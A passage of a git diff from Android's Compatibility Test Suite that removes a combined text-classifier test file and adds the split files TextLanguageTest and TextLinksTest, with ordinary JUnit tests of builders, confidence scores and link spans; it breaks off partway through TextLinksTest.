-        assertEquals(0, selection.getEntityCount());
-        assertNull(selection.getId());
-        assertTrue(selection.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextSelection_prunedConfidenceScore() {
-        final float phoneScore = -0.1f;
-        final float prunedPhoneScore = 0f;
-        final float otherScore = 1.5f;
-        final float prunedOtherScore = 1.0f;
-
-        final TextSelection selection = new TextSelection.Builder(START, END)
-                .setEntityType(TextClassifier.TYPE_PHONE, phoneScore)
-                .setEntityType(TextClassifier.TYPE_OTHER, otherScore)
-                .build();
-
-        assertEquals(prunedPhoneScore, selection.getConfidenceScore(TextClassifier.TYPE_PHONE),
-                ACCEPTED_DELTA);
-        assertEquals(prunedOtherScore, selection.getConfidenceScore(TextClassifier.TYPE_OTHER),
-                ACCEPTED_DELTA);
-    }
-
-    @Test(expected = IllegalArgumentException.class)
-    public void testTextSelection_invalidStartParams() {
-        new TextSelection.Builder(-1 /* start */, END)
-                .build();
-    }
-
-    @Test(expected = IllegalArgumentException.class)
-    public void testTextSelection_invalidEndParams() {
-        new TextSelection.Builder(START, 0 /* end */)
-                .build();
-    }
-
-    @Test(expected = IndexOutOfBoundsException.class)
-    public void testTextSelection_entityIndexOutOfBounds() {
-        final TextSelection selection = new TextSelection.Builder(START, END).build();
-        final int outOfBoundsIndex = selection.getEntityCount();
-        selection.getEntity(outOfBoundsIndex);
-    }
-
-    @Test
-    public void testTextSelectionRequest() {
-        final TextSelection.Request request = new TextSelection.Request.Builder(TEXT, START, END)
-                .setDefaultLocales(LOCALES)
-                .setExtras(BUNDLE)
-                .build();
-        assertEquals(TEXT, request.getText().toString());
-        assertEquals(START, request.getStartIndex());
-        assertEquals(END, request.getEndIndex());
-        assertEquals(LOCALES, request.getDefaultLocales());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextSelectionRequest_nullValues() {
-        final TextSelection.Request request =
-                new TextSelection.Request.Builder(TEXT, START, END)
-                        .setDefaultLocales(null)
-                        .build();
-        assertNull(request.getDefaultLocales());
-    }
-
-    @Test
-    public void testTextSelectionRequest_defaultValues() {
-        final TextSelection.Request request =
-                new TextSelection.Request.Builder(TEXT, START, END).build();
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextClassification() {
-        final float addressScore = 0.1f;
-        final float emailScore = 0.9f;
-        final PendingIntent intent1 = PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
-        final String label1 = "label1";
-        final String description1 = "description1";
-        final Icon icon1 = generateTestIcon(16, 16, Color.RED);
-        final PendingIntent intent2 = PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
-        final String label2 = "label2";
-        final String description2 = "description2";
-        final Icon icon2 = generateTestIcon(16, 16, Color.GREEN);
-
-        final TextClassification classification = new TextClassification.Builder()
-                .setText(TEXT)
-                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
-                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
-                .addAction(new RemoteAction(icon1, label1, description1, intent1))
-                .addAction(new RemoteAction(icon2, label2, description2, intent2))
-                .setId(ID)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(TEXT, classification.getText());
-        assertEquals(2, classification.getEntityCount());
-        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
-        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
-        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
-                ACCEPTED_DELTA);
-        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-
-        // Legacy API
-        assertNull(classification.getIntent());
-        assertNull(classification.getLabel());
-        assertNull(classification.getIcon());
-        assertNull(classification.getOnClickListener());
-
-        assertEquals(2, classification.getActions().size());
-        assertEquals(label1, classification.getActions().get(0).getTitle());
-        assertEquals(description1, classification.getActions().get(0).getContentDescription());
-        assertEquals(intent1, classification.getActions().get(0).getActionIntent());
-        assertNotNull(classification.getActions().get(0).getIcon());
-        assertEquals(label2, classification.getActions().get(1).getTitle());
-        assertEquals(description2, classification.getActions().get(1).getContentDescription());
-        assertEquals(intent2, classification.getActions().get(1).getActionIntent());
-        assertNotNull(classification.getActions().get(1).getIcon());
-        assertEquals(ID, classification.getId());
-        assertEquals(BUNDLE_VALUE, classification.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextClassificationLegacy() {
-        final float addressScore = 0.1f;
-        final float emailScore = 0.9f;
-        final Intent intent = new Intent();
-        final String label = "label";
-        final Drawable icon = new ColorDrawable(Color.RED);
-        final View.OnClickListener onClick = v -> {
-        };
-
-        final TextClassification classification = new TextClassification.Builder()
-                .setText(TEXT)
-                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
-                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
-                .setIntent(intent)
-                .setLabel(label)
-                .setIcon(icon)
-                .setOnClickListener(onClick)
-                .setId(ID)
-                .build();
-
-        assertEquals(TEXT, classification.getText());
-        assertEquals(2, classification.getEntityCount());
-        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
-        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
-        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
-                ACCEPTED_DELTA);
-        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-
-        assertEquals(intent, classification.getIntent());
-        assertEquals(label, classification.getLabel());
-        assertEquals(icon, classification.getIcon());
-        assertEquals(onClick, classification.getOnClickListener());
-        assertEquals(ID, classification.getId());
-    }
-
-    @Test
-    public void testTextClassification_defaultValues() {
-        final TextClassification classification = new TextClassification.Builder().build();
-
-        assertEquals(null, classification.getText());
-        assertEquals(0, classification.getEntityCount());
-        assertEquals(null, classification.getIntent());
-        assertEquals(null, classification.getLabel());
-        assertEquals(null, classification.getIcon());
-        assertEquals(null, classification.getOnClickListener());
-        assertEquals(0, classification.getActions().size());
-        assertNull(classification.getId());
-        assertTrue(classification.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextClassificationRequest() {
-        final TextClassification.Request request =
-                new TextClassification.Request.Builder(TEXT, START, END)
-                        .setDefaultLocales(LOCALES)
-                        .setExtras(BUNDLE)
-                        .build();
-
-        assertEquals(LOCALES, request.getDefaultLocales());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextClassificationRequest_nullValues() {
-        final TextClassification.Request request =
-                new TextClassification.Request.Builder(TEXT, START, END)
-                        .setDefaultLocales(null)
-                        .build();
-
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextClassificationRequest_defaultValues() {
-        final TextClassification.Request request =
-                new TextClassification.Request.Builder(TEXT, START, END).build();
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextLinks_defaultValues() {
-        final TextLinks textLinks = new TextLinks.Builder(TEXT).build();
-
-        assertEquals(TEXT, textLinks.getText());
-        assertTrue(textLinks.getExtras().isEmpty());
-        assertTrue(textLinks.getLinks().isEmpty());
-    }
-
-    @Test
-    public void testTextLinks_full() {
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .setExtras(BUNDLE)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_PHONE, 1.0f),
-                        BUNDLE)
-                .build();
-
-        assertEquals(TEXT, textLinks.getText());
-        assertEquals(BUNDLE_VALUE, textLinks.getExtras().getString(BUNDLE_KEY));
-        assertEquals(2, textLinks.getLinks().size());
-
-        final List<TextLinks.TextLink> resultList = new ArrayList<>(textLinks.getLinks());
-        final TextLinks.TextLink textLinkNoExtra = resultList.get(0);
-        assertEquals(TextClassifier.TYPE_ADDRESS, textLinkNoExtra.getEntity(0));
-        assertEquals(1.0f, textLinkNoExtra.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                EPSILON);
-        assertEquals(Bundle.EMPTY, textLinkNoExtra.getExtras());
-
-        final TextLinks.TextLink textLinkHasExtra = resultList.get(1);
-        assertEquals(TextClassifier.TYPE_PHONE, textLinkHasExtra.getEntity(0));
-        assertEquals(1.0f, textLinkHasExtra.getConfidenceScore(TextClassifier.TYPE_PHONE),
-                EPSILON);
-        assertEquals(BUNDLE_VALUE, textLinkHasExtra.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextLinks_clearTextLinks() {
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .setExtras(BUNDLE)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .clearTextLinks()
-                .build();
-        assertEquals(0, textLinks.getLinks().size());
-    }
-
-    @Test
-    public void testTextLinks_apply() {
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .addLink(ANOTHER_START, ANOTHER_END,
-                        ImmutableMap.of(TextClassifier.TYPE_PHONE, 1.0f,
-                                TextClassifier.TYPE_ADDRESS, 0.5f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
-        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                TextLinks.TextLinkSpan.class);
-
-        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
-        assertEquals(2, textLinkSpans.length);
-
-        final TextLinks.TextLink textLink = textLinkSpans[0].getTextLink();
-        final TextLinks.TextLink anotherTextLink = textLinkSpans[1].getTextLink();
-
-        assertEquals(START, textLink.getStart());
-        assertEquals(END, textLink.getEnd());
-        assertEquals(1, textLink.getEntityCount());
-        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
-        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(ANOTHER_START, anotherTextLink.getStart());
-        assertEquals(ANOTHER_END, anotherTextLink.getEnd());
-        assertEquals(2, anotherTextLink.getEntityCount());
-        assertEquals(TextClassifier.TYPE_PHONE, anotherTextLink.getEntity(0));
-        assertEquals(1.0f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_PHONE),
-                ACCEPTED_DELTA);
-        assertEquals(TextClassifier.TYPE_ADDRESS, anotherTextLink.getEntity(1));
-        assertEquals(0.5f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-    }
-
-    @Test
-    public void testTextLinks_applyStrategyReplace() {
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final URLSpan urlSpan = new URLSpan("http://www.google.com");
-        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_REPLACE, null);
-        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                TextLinks.TextLinkSpan.class);
-        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
-                URLSpan.class);
-
-        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
-        assertEquals(1, textLinkSpans.length);
-        assertEquals(0, urlSpans.length);
-    }
-
-    @Test
-    public void testTextLinks_applyStrategyIgnore() {
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final URLSpan urlSpan = new URLSpan("http://www.google.com");
-        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
-        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                TextLinks.TextLinkSpan.class);
-        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
-                URLSpan.class);
-
-        assertEquals(TextLinks.STATUS_NO_LINKS_APPLIED, status);
-        assertEquals(0, textLinkSpans.length);
-        assertEquals(1, urlSpans.length);
-    }
-
-    @Test
-    public void testTextLinks_applyWithCustomSpanFactory() {
-        final class CustomTextLinkSpan extends TextLinks.TextLinkSpan {
-            private CustomTextLinkSpan(TextLinks.TextLink textLink) {
-                super(textLink);
-            }
-        }
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, CustomTextLinkSpan::new);
-        final CustomTextLinkSpan[] customTextLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                CustomTextLinkSpan.class);
-
-        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
-        assertEquals(1, customTextLinkSpans.length);
-
-        final TextLinks.TextLink textLink = customTextLinkSpans[0].getTextLink();
-
-        assertEquals(START, textLink.getStart());
-        assertEquals(END, textLink.getEnd());
-        assertEquals(1, textLink.getEntityCount());
-        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
-        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-    }
-
-    @Test
-    public void testTextLinksRequest_defaultValues() {
-        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT).build();
-
-        assertEquals(TEXT, request.getText());
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-        assertNull(request.getEntityConfig());
-    }
-
-    @Test
-    public void testTextLinksRequest_full() {
-        final ZonedDateTime referenceTime = ZonedDateTime.ofInstant(Instant.ofEpochMilli(1000L),
-                ZoneId.of("UTC"));
-        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT)
-                .setDefaultLocales(LOCALES)
-                .setExtras(BUNDLE)
-                .setEntityConfig(TextClassifier.EntityConfig.createWithHints(
-                        Collections.singletonList(TextClassifier.HINT_TEXT_IS_EDITABLE)))
-                .setReferenceTime(referenceTime)
-                .build();
-
-        assertEquals(TEXT, request.getText());
-        assertEquals(LOCALES, request.getDefaultLocales());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-        assertEquals(1, request.getEntityConfig().getHints().size());
-        assertEquals(
-                TextClassifier.HINT_TEXT_IS_EDITABLE,
-                request.getEntityConfig().getHints().iterator().next());
-        assertEquals(referenceTime, request.getReferenceTime());
-    }
-
-    @Test
-    public void testTextLanguage() {
-        final TextLanguage language = new TextLanguage.Builder()
-                .setId(ID)
-                .putLocale(ULocale.ENGLISH, 0.6f)
-                .putLocale(ULocale.CHINESE, 0.3f)
-                .putLocale(ULocale.JAPANESE, 0.1f)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(ID, language.getId());
-        assertEquals(3, language.getLocaleHypothesisCount());
-        assertEquals(ULocale.ENGLISH, language.getLocale(0));
-        assertEquals(ULocale.CHINESE, language.getLocale(1));
-        assertEquals(ULocale.JAPANESE, language.getLocale(2));
-        assertEquals(0.6f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
-        assertEquals(0.3f, language.getConfidenceScore(ULocale.CHINESE), EPSILON);
-        assertEquals(0.1f, language.getConfidenceScore(ULocale.JAPANESE), EPSILON);
-        assertEquals(BUNDLE_VALUE, language.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextLanguage_clippedScore() {
-        final TextLanguage language = new TextLanguage.Builder()
-                .putLocale(ULocale.ENGLISH, 2f)
-                .putLocale(ULocale.CHINESE, -2f)
-                .build();
-
-        assertEquals(1, language.getLocaleHypothesisCount());
-        assertEquals(ULocale.ENGLISH, language.getLocale(0));
-        assertEquals(1f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
-        assertNull(language.getId());
-    }
-
-    @Test
-    public void testTextLanguageRequest() {
-        final TextLanguage.Request request = new TextLanguage.Request.Builder(TEXT)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(TEXT, request.getText());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-        assertNull(request.getCallingPackageName());
-    }
-
-    // TODO: Add more tests.
-
-    /** Helper to generate Icons for testing. */
-    private Icon generateTestIcon(int width, int height, int colorValue) {
-        final int numPixels = width * height;
-        final int[] colors = new int[numPixels];
-        for (int i = 0; i < numPixels; ++i) {
-            colors[i] = colorValue;
-        }
-        final Bitmap bitmap = Bitmap.createBitmap(colors, width, height, Bitmap.Config.ARGB_8888);
-        return Icon.createWithBitmap(bitmap);
-    }
-}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLanguageTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLanguageTest.java
new file mode 100644
index 0000000..52aa318
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLanguageTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.icu.util.ULocale;
+import android.os.Bundle;
+import android.view.textclassifier.TextLanguage;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextLanguageTest {
+    private static final float EPSILON = 0.000001f;
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+    private static final String ID = "id123";
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+
+    @Test
+    public void testTextLanguage() {
+        final TextLanguage language = new TextLanguage.Builder()
+                .setId(ID)
+                .putLocale(ULocale.ENGLISH, 0.6f)
+                .putLocale(ULocale.CHINESE, 0.3f)
+                .putLocale(ULocale.JAPANESE, 0.1f)
+                .setExtras(BUNDLE)
+                .build();
+
+        assertEquals(ID, language.getId());
+        assertEquals(3, language.getLocaleHypothesisCount());
+        assertEquals(ULocale.ENGLISH, language.getLocale(0));
+        assertEquals(ULocale.CHINESE, language.getLocale(1));
+        assertEquals(ULocale.JAPANESE, language.getLocale(2));
+        assertEquals(0.6f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
+        assertEquals(0.3f, language.getConfidenceScore(ULocale.CHINESE), EPSILON);
+        assertEquals(0.1f, language.getConfidenceScore(ULocale.JAPANESE), EPSILON);
+        assertEquals(BUNDLE_VALUE, language.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextLanguage_clippedScore() {
+        final TextLanguage language = new TextLanguage.Builder()
+                .putLocale(ULocale.ENGLISH, 2f)
+                .putLocale(ULocale.CHINESE, -2f)
+                .build();
+
+        assertEquals(1, language.getLocaleHypothesisCount());
+        assertEquals(ULocale.ENGLISH, language.getLocale(0));
+        assertEquals(1f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
+        assertNull(language.getId());
+    }
+
+    @Test
+    public void testTextLanguageRequest() {
+        final TextLanguage.Request request = new TextLanguage.Request.Builder(TEXT)
+                .setExtras(BUNDLE)
+                .build();
+
+        assertEquals(TEXT, request.getText());
+        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
+        assertNull(request.getCallingPackageName());
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java
new file mode 100644
index 0000000..1414ed7
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.style.URLSpan;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.collect.ImmutableMap;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Instant;
+import java.time.ZoneId;
+import java.time.ZonedDateTime;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextLinksTest {
+
+    private static final float EPSILON = 0.000001f;
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+
+    private static final double ACCEPTED_DELTA = 0.0000001;
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+    private static final int START = 5;
+    private static final int END = 20;
+    private static final int ANOTHER_START = 22;
+    private static final int ANOTHER_END = 24;
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
+
+    @Test
+    public void testTextLinks_defaultValues() {
+        final TextLinks textLinks = new TextLinks.Builder(TEXT).build();
+
+        assertEquals(TEXT, textLinks.getText());
+        assertTrue(textLinks.getExtras().isEmpty());
+        assertTrue(textLinks.getLinks().isEmpty());
+    }
+
+    @Test
+    public void testTextLinks_full() {
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .setExtras(BUNDLE)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_PHONE, 1.0f),
+                        BUNDLE)
+                .build();
+
+        assertEquals(TEXT, textLinks.getText());
+        assertEquals(BUNDLE_VALUE, textLinks.getExtras().getString(BUNDLE_KEY));
+        assertEquals(2, textLinks.getLinks().size());
+
+        final List<TextLinks.TextLink> resultList = new ArrayList<>(textLinks.getLinks());
+        final TextLinks.TextLink textLinkNoExtra = resultList.get(0);
+        assertEquals(TextClassifier.TYPE_ADDRESS, textLinkNoExtra.getEntity(0));
+        assertEquals(1.0f, textLinkNoExtra.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                EPSILON);
+        assertEquals(Bundle.EMPTY, textLinkNoExtra.getExtras());
+
+        final TextLinks.TextLink textLinkHasExtra = resultList.get(1);
+        assertEquals(TextClassifier.TYPE_PHONE, textLinkHasExtra.getEntity(0));
+        assertEquals(1.0f, textLinkHasExtra.getConfidenceScore(TextClassifier.TYPE_PHONE),
+                EPSILON);
+        assertEquals(BUNDLE_VALUE, textLinkHasExtra.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextLinks_clearTextLinks() {
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .setExtras(BUNDLE)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .clearTextLinks()
+                .build();
+        assertEquals(0, textLinks.getLinks().size());
+    }
+
+    @Test
+    public void testTextLinks_apply() {
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .addLink(ANOTHER_START, ANOTHER_END,
+                        ImmutableMap.of(TextClassifier.TYPE_PHONE, 1.0f,
+                                TextClassifier.TYPE_ADDRESS, 0.5f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
+        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                TextLinks.TextLinkSpan.class);
+
+        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
+        assertEquals(2, textLinkSpans.length);
+
+        final TextLinks.TextLink textLink = textLinkSpans[0].getTextLink();
+        final TextLinks.TextLink anotherTextLink = textLinkSpans[1].getTextLink();
+
+        assertEquals(START, textLink.getStart());
+        assertEquals(END, textLink.getEnd());
+        assertEquals(1, textLink.getEntityCount());
+        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
+        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+        assertEquals(ANOTHER_START, anotherTextLink.getStart());
+        assertEquals(ANOTHER_END, anotherTextLink.getEnd());
+        assertEquals(2, anotherTextLink.getEntityCount());
+        assertEquals(TextClassifier.TYPE_PHONE, anotherTextLink.getEntity(0));
+        assertEquals(1.0f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_PHONE),
+                ACCEPTED_DELTA);
+        assertEquals(TextClassifier.TYPE_ADDRESS, anotherTextLink.getEntity(1));
+        assertEquals(0.5f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+    }
+
+    @Test
+    public void testTextLinks_applyStrategyReplace() {
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final URLSpan urlSpan = new URLSpan("http://www.google.com");
+        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_REPLACE, null);
+        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                TextLinks.TextLinkSpan.class);
+        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
+                URLSpan.class);
+
+        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
+        assertEquals(1, textLinkSpans.length);
+        assertEquals(0, urlSpans.length);
+    }
+
+    @Test
+    public void testTextLinks_applyStrategyIgnore() {
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final URLSpan urlSpan = new URLSpan("http://www.google.com");
+        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
+        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                TextLinks.TextLinkSpan.class);
+        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
+                URLSpan.class);
+
+        assertEquals(TextLinks.STATUS_NO_LINKS_APPLIED, status);
+        assertEquals(0, textLinkSpans.length);
+        assertEquals(1, urlSpans.length);
+    }
+
+    @Test
+    public void testTextLinks_applyWithCustomSpanFactory() {
+        final class CustomTextLinkSpan extends TextLinks.TextLinkSpan {
+            private CustomTextLinkSpan(TextLinks.TextLink textLink) {
+                super(textLink);
+            }
+        }
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, CustomTextLinkSpan::new);
+        final CustomTextLinkSpan[] customTextLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                CustomTextLinkSpan.class);
+
+        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
